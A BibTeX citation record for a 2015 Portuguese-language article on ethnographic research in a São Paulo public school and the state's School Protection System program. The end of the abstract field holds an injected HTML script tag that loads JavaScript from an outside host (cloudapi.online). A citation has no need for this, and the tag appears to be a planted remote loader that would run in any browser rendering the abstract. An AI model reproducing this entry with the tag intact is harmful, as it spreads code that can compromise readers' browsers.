@article{Possato_Zan_2015, place={Campinas, SP}, title={Estudos etnográficos na educação: um olhar sensível sobre a escola pública paulista}, volume={17}, url={https://periodicos.sbu.unicamp.br/ojs/index.php/etd/article/view/8634881}, DOI={10.20396/etd.v17i2.8634881}, abstractNote={O intuito deste artigo é refletir sobre a importância dos estudos etnográficos para compreender a instituição escolar, partindo da descrição e da análise da metodologia de uma pesquisa de doutorado realizada em escola pública de educação básica (Campinas - São Paulo). A pesquisa de doutorado propunha-se a problematizar como um programa da Secretaria da Educação do estado de São Paulo - o Sistema de Proteção Escolar, que tem por objetivo amenizar as violências nas escolas - se desenvolveu na instituição estudada. Para isso, por meio da observação e registro do cotidiano buscou-se, em especial, observar a inserção do principal representante desse programa na escola– o Professor Mediador Escolar e Comunitário. Além disso, era necessária a aproximação com a realidade a ser investigada e o conhecimento de diversos aspectos da comunidade atendida e dos sujeitos que constituíam essa instituição. Por meio da pesquisa, constatou-se que apesar do avanço da pesquisa educacional no Brasil, permanece a necessidade de se ampliar estudos de cunho etnográfico que contribuam para a compreensão desse cotidiano. A metodologia da pesquisa permitiu a observação das relações humanas, das juventudes na sua interface com a problemática das violências, das diferentes facetas de um sistema escolar, e possibilitou que se ampliasse as análises e se superasse uma possível visão simplista em apontar soluções fáceis para as escolas públicas.<script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>}, number={2}, journal={ETD - Educação Temática Digital}, author={Possato, Beatris Cristina and Zan, Dirce Djanira Pacheco e}, year={2015}, month={ago.}, pages={234–251} }